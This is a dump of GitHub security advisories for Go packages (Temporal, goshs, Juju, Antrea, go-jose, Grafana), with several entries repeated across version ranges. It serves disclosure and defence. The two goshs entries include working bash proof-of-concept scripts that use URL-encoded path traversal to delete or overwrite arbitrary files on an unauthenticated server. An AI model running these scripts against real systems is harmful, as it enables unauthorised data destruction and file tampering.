deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-xpg8-3hhp-p7w8
Package: go.temporal.io/server (GO)
Severity: LOW (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 1.30.0-143.0, < 1.30.3
Patched in: 1.30.3

Summary: Temporal Server: attacker-controlled namespace could signal, delete, and reset workflows or activities in a victim namespace on the same cluster

Details:
A writer role user in an attacker-controlled namespace could signal, delete, and reset workflows or activities in a victim namespace on the same cluster. Exploitation requires the attacker to know or guess specific victim workflow ID(s) and, for signal operations, signal names. This was due to a bug introduced in Temporal Server v1.29.0 which inadvertently allowed an attacker to control the namespace name value instead of using the server's own trusted name value within the batch activity code. The batch activity validated the namespace ID but did not cross-check the namespace name against the worker's bound namespace, allowing the per-namespace worker's privileged credentials to operate on an arbitrary namespace. Exploitation requires a server configuration where internal components have cross-namespace authorization, such as deployment of the internal-frontend service or equivalent TLS-based authorization for internal identities.

This vulnerability also impacted Temporal Cloud when the attacker and victim namespaces were on the same cell, with the same preconditions as self-hosted clusters.
GitHub Security Advisory: GHSA-6qcc-6q27-whp8
Package: github.com/patrickhener/goshs (GO)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 1.1.5-0[PII_REDACTED]2448-237f3af891a9
Patched in: 1.1.5-0[PII_REDACTED]2448-237f3af891a9

Summary: goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

Details:
### Summary
* `deleteFile()` missing return after path traversal check | `httpserver/handler.go:645-671`

The finding affects the default configuration, no flags or authentication required.

### Details

**File:** `httpserver/handler.go:645-671`
**Trigger:** `GET /<path>?delete` (handler.go:157-160 dispatches to `deleteFile`)

The function detects `..` in the decoded path but does not `return`.

```go
func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {
    upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/")))

    fileCleaned, _ := url.QueryUnescape(upath)
    if strings.Contains(fileCleaned, "..") {
        w.WriteHeader(500)
        _, err := w.Write([]byte("Cannot delete file"))
        if err != nil {
            logger.Errorf("error writing answer to client: %+v", err)
        }
        // BUG: no return, falls through to os.RemoveAll
    }

    deletePath := filepath.Join(fs.Webroot, fileCleaned)
    err := os.RemoveAll(deletePath)  // always executes
```

**Root causes:**
Missing `return` after the guard makes the check dead code

**Impact:** Unauthenticated arbitrary file/directory deletion.

**PoCs:**
```bash
#!/usr/bin/env bash
# Delete an arbitrary file/directory on a running goshs instance.
# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}"

# Double-encode ".." => %252e%252e
# We don't know the webroot depth, so use 16 levels (covers most paths).
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%252e%252e/"
done

# Strip leading / from target and URL-encode any special chars
TARGET_REL="${TARGET#/}"
ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))")

URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete"

echo "[*] Target:  ${TARGET}"
echo "[*] Request: GET ${URL}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")

echo "[*] HTTP ${HTTP_CODE}"
```

To execute it: `./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary`

---

## Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.
GitHub Security Advisory: GHSA-j6f6-jp3p-53mw
Package: github.com/juju/juju (GO)
Severity: MODERATE (CVSS 4.9)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 0.0.0[PII_REDACTED]0540-c91a1f404695
Patched in: 0.0.0[PII_REDACTED]0540-c91a1f404695

Summary: Juju: Read All Controller Logs From Compromised Workload

Details:
### Summary
It is possible that a compromised workload machine under a Juju controller can read any log file for any entity in any model at any level.

There is a debug log endpoint in the API server that allows streaming of logs off of the controller. To access this endpoint you must be authentication and either be a machine agent, controller agent, controller admin or have model read permission.

The problematic is the machine agent story. The rest of the other checks have a high enough degree of safety that an attacker can not move side ways in the controller when obtaining log files.

### Details
A compromised workload machine is capable of obtaining logs for both the controller and any model under the controller at any log level they wish. A bad actor can use this information as signal for further attacks or possible gain secret information leaked out in debug and trace logs. On top of this they would also be able to receive the logs from the charm itself for which we have no control over.

- [here](https://github.com/juju/juju/blob/1a8d84ec114c2e4f9921e30081e5a5549f7cbfc4/apiserver/apiserver.go#L767) is where the authorizer is defined for the endpoint.
- [here](https://github.com/juju/juju/blob/1a8d84ec114c2e4f9921e30081e5a5549f7cbfc4/apiserver/debuglog.go#L110) is where the authorizer is checked.
- [here](https://github.com/juju/juju/blob/1a8d84ec114c2e4f9921e30081e5a5549f7cbfc4/apiserver/debuglog.go#L115) and onwards is the amount of information the attacker can gain access to.

### PoC

If an attacker compromises a workload machine, they will have access to the agent.conf file containing the credentials. This can then be used to obtain debug logs for any part of the controller.
GitHub Security Advisory: GHSA-g8mv-vp7j-qp64
Package: github.com/patrickhener/goshs (GO)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 1.1.5-0[PII_REDACTED]2448-237f3af891a9
Patched in: 1.1.5-0[PII_REDACTED]2448-237f3af891a9

Summary: goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs PUT Upload

Details:
### Summary
* PUT upload has no path sanitization | `httpserver/updown.go:20-69`

This finding affects the default configuration, no flags or authentication required.

### Details

**File:** `httpserver/updown.go:20-69`
**Trigger:** `PUT /<path>` (server.go:57-59 routes directly to `put()`)

The handler uses `req.URL.Path` raw to build the save path. No `filepath.Clean`, no `..` check, no webroot containment.

```go
func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
    upath := req.URL.Path                              // unsanitized

    filename := strings.Split(upath, "/")
    outName := filename[len(filename)-1]

    targetpath := strings.Split(upath, "/")
    targetpath = targetpath[:len(targetpath)-1]
    target := strings.Join(targetpath, "/")

    savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
    // ...
    os.Create(savepath)                                // arbitrary path write
```

`UploadFolder` defaults to `Webroot` (main.go:386-388). The path is pure string concatenation with no validation.

**Impact:** Unauthenticated arbitrary file write anywhere on the filesystem.

**PoCs:**
```bash
#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL_FILE" ]; then
    echo "[-] Local file not found: $LOCAL_FILE"
    exit 1
fi

# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%2e%2e/"
done

# Strip leading / from target
TARGET_REL="${TARGET#/}"

PUT_PATH="/${TRAVERSAL}${TARGET_REL}"

echo "[*] Source:  ${LOCAL_FILE}"
echo "[*] Target:  ${TARGET}"
echo "[*] PUT:     ${PUT_PATH}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    --path-as-is \
    -X PUT --data-binary "@${LOCAL_FILE}" \
    "http://${HOST}:${PORT}${PUT_PATH}")

echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."
```

To execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can`

## Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.
GitHub Security Advisory: GHSA-qcmw-8mm4-4p28
Package: antrea.io/antrea (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-311: Missing Encryption of Sensitive Data
Vulnerable versions: < 1.11.0-alpha.0.0[PII_REDACTED]5322-738bad662b20
Patched in: 1.11.0-alpha.0.0[PII_REDACTED]5322-738bad662b20

Summary: Antrea has Missing Encryption of Sensitive Data

Details:
### Impact
This is a missing encryption vulnerability (CWE-311) affecting inter-Node Pod traffic. In Antrea clusters configured for dual-stack networking with IPsec encryption enabled (`trafficEncryptionMode: ipsec`), Antrea fails to apply encryption for IPv6 Pod traffic.

While the IPv4 traffic is correctly encrypted via ESP (Encapsulating Security Payload), traffic using IPv6 is transmitted in plaintext. This occurs because the packets are encapsulated (using Geneve or VXLAN) but bypass the IPsec encryption layer.

Impacted Users: users with dual-stack clusters and IPsec encryption enabled.

Single-stack IPv4 or IPv6 clusters are not affected.

### Patches
Yes, the issue has been patched: https://github.com/antrea-io/antrea/pull/7759
Users should upgrade to one of the following versions:
* Antrea v2.6.0 or later
* Antrea v2.5.2
* Antrea v2.4.5

Antrea recommends running the `antctl check installation --run ipsec` tool after upgrading to verify that both address families are correctly producing ESP traffic.

### Workarounds
There is no configuration workaround to enable IPsec IPv6 in affected versions. If an immediate upgrade is not possible, user may consider using WireGuard instead for inter-Node Pod traffic encryption. The WireGuard support in Antrea does *not* suffer from the same issue.

### Resources
Pull Request with Fix: [antrea-io/antrea#7759](https://github.com/antrea-io/antrea/pull/7759)
Validation Tool PR: [antrea-io/antrea#7757](https://github.com/antrea-io/antrea/pull/7757)
Antrea Documentation: [Traffic Encryption Guide](https://github.com/antrea-io/antrea/blob/main/docs/traffic-encryption.md)
GitHub Security Advisory: GHSA-qcmw-8mm4-4p28
Package: antrea.io/antrea (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-311: Missing Encryption of Sensitive Data
Vulnerable versions: >= 2.5.0, < 2.5.2
Patched in: unpatched

Summary: Antrea has Missing Encryption of Sensitive Data

Details:
### Impact
This is a missing encryption vulnerability (CWE-311) affecting inter-Node Pod traffic. In Antrea clusters configured for dual-stack networking with IPsec encryption enabled (`trafficEncryptionMode: ipsec`), Antrea fails to apply encryption for IPv6 Pod traffic.

While the IPv4 traffic is correctly encrypted via ESP (Encapsulating Security Payload), traffic using IPv6 is transmitted in plaintext. This occurs because the packets are encapsulated (using Geneve or VXLAN) but bypass the IPsec encryption layer.

Impacted Users: users with dual-stack clusters and IPsec encryption enabled.

Single-stack IPv4 or IPv6 clusters are not affected.

### Patches
Yes, the issue has been patched: https://github.com/antrea-io/antrea/pull/7759
Users should upgrade to one of the following versions:
* Antrea v2.6.0 or later
* Antrea v2.5.2
* Antrea v2.4.5

Antrea recommends running the `antctl check installation --run ipsec` tool after upgrading to verify that both address families are correctly producing ESP traffic.

### Workarounds
There is no configuration workaround to enable IPsec IPv6 in affected versions. If an immediate upgrade is not possible, user may consider using WireGuard instead for inter-Node Pod traffic encryption. The WireGuard support in Antrea does *not* suffer from the same issue.

### Resources
Pull Request with Fix: [antrea-io/antrea#7759](https://github.com/antrea-io/antrea/pull/7759)
Validation Tool PR: [antrea-io/antrea#7757](https://github.com/antrea-io/antrea/pull/7757)
Antrea Documentation: [Traffic Encryption Guide](https://github.com/antrea-io/antrea/blob/main/docs/traffic-encryption.md)
GitHub Security Advisory: GHSA-qcmw-8mm4-4p28
Package: antrea.io/antrea (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-311: Missing Encryption of Sensitive Data
Vulnerable versions: >= 1.11.0, < 2.4.5
Patched in: unpatched

Summary: Antrea has Missing Encryption of Sensitive Data

Details:
### Impact
This is a missing encryption vulnerability (CWE-311) affecting inter-Node Pod traffic. In Antrea clusters configured for dual-stack networking with IPsec encryption enabled (`trafficEncryptionMode: ipsec`), Antrea fails to apply encryption for IPv6 Pod traffic.

While the IPv4 traffic is correctly encrypted via ESP (Encapsulating Security Payload), traffic using IPv6 is transmitted in plaintext. This occurs because the packets are encapsulated (using Geneve or VXLAN) but bypass the IPsec encryption layer.

Impacted Users: users with dual-stack clusters and IPsec encryption enabled.

Single-stack IPv4 or IPv6 clusters are not affected.

### Patches
Yes, the issue has been patched: https://github.com/antrea-io/antrea/pull/7759
Users should upgrade to one of the following versions:
* Antrea v2.6.0 or later
* Antrea v2.5.2
* Antrea v2.4.5

Antrea recommends running the `antctl check installation --run ipsec` tool after upgrading to verify that both address families are correctly producing ESP traffic.

### Workarounds
There is no configuration workaround to enable IPsec IPv6 in affected versions. If an immediate upgrade is not possible, user may consider using WireGuard instead for inter-Node Pod traffic encryption. The WireGuard support in Antrea does *not* suffer from the same issue.

### Resources
Pull Request with Fix: [antrea-io/antrea#7759](https://github.com/antrea-io/antrea/pull/7759)
Validation Tool PR: [antrea-io/antrea#7757](https://github.com/antrea-io/antrea/pull/7757)
Antrea Documentation: [Traffic Encryption Guide](https://github.com/antrea-io/antrea/blob/main/docs/traffic-encryption.md)
GitHub Security Advisory: GHSA-78h2-9frx-2jm8
Package: github.com/go-jose/go-jose (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-248: Uncaught Exception
Vulnerable versions: <= 2.6.3
Patched in: unpatched

Summary: Go JOSE Panics in JWE decryption

Details:
### Impact

Decrypting a JSON Web Encryption (JWE) object will panic if the `alg` field indicates a key wrapping algorithm ([one ending in `KW`](https://pkg.go.dev/github.com/go-jose/go-jose/v4#pkg-constants), with the exception of `A128GCMKW`, `A192GCMKW`, and `A256GCMKW`) and the `encrypted_key` field is empty. The panic happens when `cipher.KeyUnwrap()` in `key_wrap.go` attempts to allocate a slice with a zero or negative length based on the length of the `encrypted_key`.

This code path is reachable from `ParseEncrypted()` / `ParseEncryptedJSON()` / `ParseEncryptedCompact()` followed by `Decrypt()` on the resulting object. Note that the parse functions take a list of accepted key algorithms. If the accepted key algorithms do not include any key wrapping algorithms, parsing will fail and the application will be unaffected.

This panic is also reachable by calling `cipher.KeyUnwrap()` directly with any `ciphertext` parameter less than 16 bytes long, but calling this function directly is less common.

Panics can lead to denial of service.

### Fixed In

4.1.4 and v3.0.5

### Workarounds

If the list of `keyAlgorithms` passed to `ParseEncrypted()` / `ParseEncryptedJSON()` / `ParseEncryptedCompact()` does not include key wrapping algorithms (those ending in `KW`), your application is unaffected.

If your application uses key wrapping, you can prevalidate to the JWE objects to ensure the `encrypted_key` field is nonempty. If your application accepts JWE Compact Serialization, apply that validation to the corresponding field of that serialization (the data between the first and second `.`).

### Thanks

Thanks to Datadog's Security team for finding this issue.
GitHub Security Advisory: GHSA-78h2-9frx-2jm8
Package: github.com/go-jose/go-jose/v3 (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-248: Uncaught Exception
Vulnerable versions: < 3.0.5
Patched in: 3.0.5

Summary: Go JOSE Panics in JWE decryption

Details:
### Impact

Decrypting a JSON Web Encryption (JWE) object will panic if the `alg` field indicates a key wrapping algorithm ([one ending in `KW`](https://pkg.go.dev/github.com/go-jose/go-jose/v4#pkg-constants), with the exception of `A128GCMKW`, `A192GCMKW`, and `A256GCMKW`) and the `encrypted_key` field is empty. The panic happens when `cipher.KeyUnwrap()` in `key_wrap.go` attempts to allocate a slice with a zero or negative length based on the length of the `encrypted_key`.

This code path is reachable from `ParseEncrypted()` / `ParseEncryptedJSON()` / `ParseEncryptedCompact()` followed by `Decrypt()` on the resulting object. Note that the parse functions take a list of accepted key algorithms. If the accepted key algorithms do not include any key wrapping algorithms, parsing will fail and the application will be unaffected.

This panic is also reachable by calling `cipher.KeyUnwrap()` directly with any `ciphertext` parameter less than 16 bytes long, but calling this function directly is less common.

Panics can lead to denial of service.

### Fixed In

4.1.4 and v3.0.5

### Workarounds

If the list of `keyAlgorithms` passed to `ParseEncrypted()` / `ParseEncryptedJSON()` / `ParseEncryptedCompact()` does not include key wrapping algorithms (those ending in `KW`), your application is unaffected.

If your application uses key wrapping, you can prevalidate to the JWE objects to ensure the `encrypted_key` field is nonempty. If your application accepts JWE Compact Serialization, apply that validation to the corresponding field of that serialization (the data between the first and second `.`).

### Thanks

Thanks to Datadog's Security team for finding this issue.
GitHub Security Advisory: GHSA-78h2-9frx-2jm8
Package: github.com/go-jose/go-jose/v4 (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-248: Uncaught Exception
Vulnerable versions: < 4.1.4
Patched in: 4.1.4

Summary: Go JOSE Panics in JWE decryption

Details:
### Impact

Decrypting a JSON Web Encryption (JWE) object will panic if the `alg` field indicates a key wrapping algorithm ([one ending in `KW`](https://pkg.go.dev/github.com/go-jose/go-jose/v4#pkg-constants), with the exception of `A128GCMKW`, `A192GCMKW`, and `A256GCMKW`) and the `encrypted_key` field is empty. The panic happens when `cipher.KeyUnwrap()` in `key_wrap.go` attempts to allocate a slice with a zero or negative length based on the length of the `encrypted_key`.

This code path is reachable from `ParseEncrypted()` / `ParseEncryptedJSON()` / `ParseEncryptedCompact()` followed by `Decrypt()` on the resulting object. Note that the parse functions take a list of accepted key algorithms. If the accepted key algorithms do not include any key wrapping algorithms, parsing will fail and the application will be unaffected.

This panic is also reachable by calling `cipher.KeyUnwrap()` directly with any `ciphertext` parameter less than 16 bytes long, but calling this function directly is less common.

Panics can lead to denial of service.

### Fixed In

4.1.4 and v3.0.5

### Workarounds

If the list of `keyAlgorithms` passed to `ParseEncrypted()` / `ParseEncryptedJSON()` / `ParseEncryptedCompact()` does not include key wrapping algorithms (those ending in `KW`), your application is unaffected.

If your application uses key wrapping, you can prevalidate to the JWE objects to ensure the `encrypted_key` field is nonempty. If your application accepts JWE Compact Serialization, apply that validation to the corresponding field of that serialization (the data between the first and second `.`).

### Thanks

Thanks to Datadog's Security team for finding this issue.
GitHub Security Advisory: GHSA-3q27-7qjq-p9c5
Package: github.com/grafana/grafana (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 1.9.2-0[PII_REDACTED]4934-4ee83a5f2bf4, < 1.9.2-0[PII_REDACTED]5[PII_REDACTED]e07b4
Patched in: 1.9.2-0[PII_REDACTED]5[PII_REDACTED]e07b4

Summary: Grafana public dashboards disclose all direct mode datasources

Details:
When using public dashboards and direct data-sources, all direct data-sources' passwords are exposed despite not being used in dashboards.

No passwords of proxied data-sources are exposed. We encourage all direct data-sources to be converted to proxied data-sources as far as possible to improve your deployments' security.
GitHub Security Advisory: GHSA-3q27-7qjq-p9c5
Package: github.com/grafana/grafana (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 12.4.0, < 12.4.2
Patched in: unpatched

Summary: Grafana public dashboards disclose all direct mode datasources

Details:
When using public dashboards and direct data-sources, all direct data-sources' passwords are exposed despite not being used in dashboards.

No passwords of proxied data-sources are exposed. We encourage all direct data-sources to be converted to proxied data-sources as far as possible to improve your deployments' security.
GitHub Security Advisory: GHSA-3q27-7qjq-p9c5
Package: github.com/grafana/grafana (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 12.3.0, < 12.3.6
Patched in: unpatched

Summary: Grafana public dashboards disclose all direct mode datasources

Details:
When using public dashboards and direct data-sources, all direct data-sources' passwords are exposed despite not being used in dashboards.

No passwords of proxied data-sources are exposed. We encourage all direct data-sources to be converted to proxied data-sources as far as possible to improve your deployments' security.
GitHub Security Advisory: GHSA-3q27-7qjq-p9c5
Package: github.com/grafana/grafana (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 12.2.0, < 12.2.8
Patched in: unpatched

Summary: Grafana public dashboards disclose all direct mode datasources

Details:
When using public dashboards and direct data-sources, all direct data-sources' passwords are exposed despite not being used in dashboards.

No passwords of proxied data-sources are exposed. We encourage all direct data-sources to be converted to proxied data-sources as far as possible to improve your deployments' security.